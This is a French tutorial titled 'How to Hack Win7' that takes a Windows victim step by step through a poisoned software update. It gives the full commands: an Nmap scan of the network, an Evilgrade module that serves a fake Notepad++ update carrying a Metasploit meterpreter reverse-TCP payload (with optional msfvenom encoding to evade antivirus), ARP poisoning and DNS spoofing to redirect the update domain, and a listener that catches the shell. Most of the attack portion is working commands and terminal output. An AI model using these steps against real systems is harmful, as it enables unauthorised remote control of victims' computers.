Tutoriel Backtrack

How to Hack Win7

Réalisé par OLIVIER Thomas étudiant en Master 2 Réseau et Sécurité Informatique a l'université Paris 5.

Niveau : moyen, avancé

Outils : Backtrack, Nmap, Metasploit, Airspoof, Dnsspoof, Evilgrade.

Les outils Nmap, Metasploit, Airspoof, Dnsspoof sont déjà présents dans Backtrack, pour Evilgrade il est disponible à cette adresse <u>http://www.infobytesec.com/down/isr-evilgrade-2.0.0.tar.gz</u>

Installation de Evilgrade :

- Ouvrir un terminal
- Tapez les commandes :
 - tar zvxf isr-evilgrade-2.0.0.tar.gz
 - cd isr-evilgrade-2.0.0-tar.gz/
 - ./evilgrade

Dans ce tutoriel nous allons apprendre à utiliser Evilgrade pour injecter un payload metasploit dans une « fausse mise à jour » de notepad++

-Installez Evilgrade comme montrer ci-dessus.

Si l'erreur *Can't locate Data/Dump.pm in @INC* ... survient utiliser la commande suivante : cpan Data::Dump puis recommencez la commande ./evilgrade

-Une fois Evilgrade installer, avant de commencer effectuons un scan afin de trouver l'adresse ip de la victime ainsi que la version de son système d'exploitation (laisser cette fenêtre de terminal ouverte , elle nous sera utile pour la suite du tutoriel).

-Pour effectuer un scan nous allons utiliser nmap

Dans notre exemple notre réseau est 192.168.0.0.

-Utilisons donc la commande suivante :

nmap -sS -O -T5 192.168.0.*

-Ici on effectue un scan furtif (stealth SYN scan) sur toutes les machines du réseau 192.168.0.0, la commande -O permet d'activer la visualisation du système d'exploitation et -T5 signifie la vitesse de scan(ici T5 est la vitesse maximale).

2				root : nmap		* *	×
Fichier	Édition	Affichage	Signets	Configuration	Aide		
root@bt :	∼# nmap	-sS -n -0 -	T5 192.1	68.0.*			*
Starting Nmap sca Host is Not show PORT 135/tcp 139/tcp 443/tcp 445/tcp 554/tcp 563/tcp 2869/tcp 5357/tcp	Nmap 5 n repor up (0.00 n: 991 - STATE open open open open open open open open	.61TEST2 (H t for 192.16 923s latency filtered por SERVICE msrpc netbios-ssr https microsoft-c rtsp snews icslap wsdapi	ttp://nm: 8.0.2). ts	ap.org) at 20	11-12-09 14:47 CET		
10243/tc	p open	unknown					
MAC Addr Warning: Device t Running: OS CPE: OS detai Network	ess: OSScan ype: ger Microso cpe:/o:r ls: Micr Distance	results may neral purpos oft Windows microsoft:wi rosoft Windo	(Asu be unre e Vista 20 ndows_vi ws Vista	stek Computer) liable because 08 7 sta cpe:/o:mic SPO or SP1, W	we could not find at least rosoft:windows_server_2008: Mindows Server 2008 SP1, or	: l op :spl Windo	e c w ▲
	Distance	root : nma	р				

-Lancer Evilgrade

Placez vous dans le dossier d'Evilgrade et tappez ./evilgrade

-Utilisez la commande show modules dans la console Evilgrade, vous devez obtenir une liste de logiciels compatible

Dans ce tutoriel nous allons utiliser l'outil Notepad++

-On tape donc la commande : configure notepadplus dans le terminal pour accéder au module notepad++.

A ce moment nous connaissons donc l'adresse ip de la victime, la version de son système d'exploitation ainsi que les ports ouverts sur la machine.

Il est donc temps de configurer notre agent pour créer un payload metasploit:

Pour cela dans le terminal Evilgrade on utilise la commande suivante :

evilgrade(notepadplus)>set agent '["/pentest/exploits/framework3/msfpayload windows/meterpreter/reverse_tcp LHOST= @ip victime LPORT= portchoisi X > <%OUT %>/tmp/notepadplus-v666.exe<%OUT%>"]' /pentest/exploits/framework3/msfpayload permet de charger msfpayload

windows/meterpreter/reverse_tcp est le payload utilisé permettra d'ouvrir une shell meterpreter lorsqu'on aura réussi.

LHOST est l'adresse IP de notre machine (de l'attaquant) et LPORT est le port utilisé pour interagir avec notre victime lorsqu'on aura réussi notre opération.

-Vous pouvez aussi afin de ne pas etre détecter par l'antivirus encoder votre payload, un tutoriel est disponible <u>ici</u> pour l'encodage avec msfvenom.

-Vous pouvez donc écrire set agent '["/pentest/exploits/framework3/msfvenom -p windows/meterpreter/reverse_tcp -f raw -e x86/jmp_call_additive LHOST=192.168.0.2 LPORT=1234 X > <%OUT%>/tmp/notepadplus-v666.exe<%OUT%>"]' par exemple.

On obtient (ici la sortie du payload est /root/Desktop/):

```
۶.
        Édition Affichage Signets Configuration
 Fichier
                                                 Aide
 _____
Name = notepadplus
Version = 1.0
Author = ["Francisco Amato < famato +[AT]+ infobytesec.com>"]
Description = "The notepad++ use GUP generic update process so it''s boggy too."
VirtualHost = "notepad-plus.sourceforge.net
 Name
        | Default
                            Description
                            -+------
 enable |
                          1 | Status
 agent | ./agent/agent.exe | Agent to inject
evilgrade(notepadplus)>set agent '["/pentest/exploits/framework3/msfpayload window
cp LHOST=192.168.0.3 LPORT=1234 X > <%OUT%>/root/Desktop/notepadplusv666.exe<%OUT%
>"]'
set agent, ["/pentest/exploits/framework3/msfpayload windows/meterpreter/reverse t
cp_LH0ST=192.168.0.3_LP0RT=1234_X > <0UT%>/root/Desktop/notepadplusv666.exe<0UT%>
evilgrade(notepadplus)>start
            isr-evilgrade : evilgrade
```

-Toujours sur le terminal Evilgrade utilisez la commande start

Vérifiez bien que votre port 80 est vide.

Nous en avons fini avec la partie configuration de l'agent Evilgrade

Continuons avec la mise en place de l'attaque Man In The Middle (MITM)

-Dans cette partie nous allons utiliser l'attaque MITM afin de spoofer le DNS de l'adresse de mise à jour, plus simplement nous allons faire croire a la machine de la victime que l'adresse de mise à jour du logiciel est la nôtre au lieu de l'adresse réelle.

-Avant de commencer cette opération commençons par activer le mode routage sur notre machine en effet elle n'est pas activer par défaut pour cela tapez echo 1 > /proc/sys/net/ipv4/ip_forward

-Une fois ceci fais créer un fichier dns.txt dans le repertoire de votre choix (pensez à notez le chemin nous en aurons besoin ultérieurement).

La configuration de ce fichier est la suivante :

*ip de redirection *	* url de l'adresse a spoofé*
votre @ip	notepad-plus.sourceforge.net

-Passons maintenant à l'attaque MITM, ici nous allons utiliser deux outils arpspoof et dnsspoof.

-Commençons par créer l'arp poisoning, dans un terminal utiliser la commande suivante :

arpspoof -i votreinterface -t @ip victime @ip passerelle

-Ensuite dans un autre terminal répéter la commande en sens inverse :

arpspoof -i votreinterface -t @ip_passerelle @ip_victime

-L'arp poisoning à commencer, il est temps de commencer le dns spoofing, lancer un nouveau terminal et utiliser dnsspoof comme ceci :

dnsspoof -i votreinterface -f chemin_du_fichier_dns.txt

Vous devez donc obtenir ces 3 fenêtres (ici les adresses mac sont effacées)

root@bt:~# arpspoof -i wlan0 -	t 192.168.0.254 192.168.0.2
Here was the providence of the sector of the	0806 42: arp reply 192.168.0.2 is-at
- : 403 g	0806 42: arp reply 192.168.0.2 is-at
a 14b	0806 42: arp reply 192.168.0.2 is-at
	0806 42: arp reply 192.168.0.2 is-at
root@bt:~# arpspoof -i wlan0 -	t 192.168.0.2 192.168.0.254
	0806 42: arp reply 192.168.0.254 is-at
en de la composición de la composición La composición de la c	0806 42: arp reply 192.168.0.254 is-at
	0806 42: arp reply 192.168.0.254 is-at
root@bt:~# dnsspoof -i wlan0 -	f dns.txt
dnsspoof: listening on wlan0 [udp dst port 53 and not src 192.168.0.3]
192.168.0.2.63985 > 111.118.17	5.56.53: 30733+ A? notepad-plus.sourceforge.net
192.168.0.2.63985 > 111.118.17	5.56.53: 30733+ A? notepad-plus.sourceforge.net
192.168.0.2.55457 > 111.118.17	5.56.53: 52306+ A? notepad-plus.sourceforge.net

-Le faux serveur Web est lancé par Evilgrade, notre Arp poisoning et notre DNS Spoof nous permet de spoofer l'adresse de mise à jour.

-Utilisons maintenant la commande msfcli pour créer un service d'écoute sur la machine.

-Dans une nouvelle console metasploit tappez :

msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LPORT=votreportchoisi LHOST=votre @ip

-Tout est terminé, il ne reste plus qu'a attendre la mise à jour de l'application de votre victime.

1	new	1 - Notep	ad++										e X
Fi	chier	Edition	Recherche	Affichage	Encodage	Langage	Paramétrage	Macro	Exécution	TextFX	Compléments	Docume	nts ? X
	0		66	di 🗅 I	6 2 C	1 88 bg	👒 👒 🖪	6	9 ¶ 運 🛛				▼ »
Ē	new	1											
Γ	1												
L				C									
L		Notepad++ update											
					An update package is available, do you want to download it?								
						Oui	N	on	Annule				
				_									

Si la victime accepte :





-Lorsque votre victime fais sa mise à jour, grâce au payload vous voila connecter sur sa machine.

C'est gagné!

Un tutoriel de privilège escalation est disponible à cette <u>adresse</u> pour obtenir le niveau Administrateur.

Ce tutoriel est en partie inspiré par le tutoriel du blog de Monsieur Vishnu Valentino disponible a l'adresse : <u>http://vishnuvalentino.com/</u> (blog que je vous conseil fortement :)) !

La version de notepad ++ utilisée pour ce tutoriel est la version 5.8.2, il se peut que tout ne fonctionne pas comme prévu sur des versions plus récentes.

Pour connaître les versions supportées lisez ce document.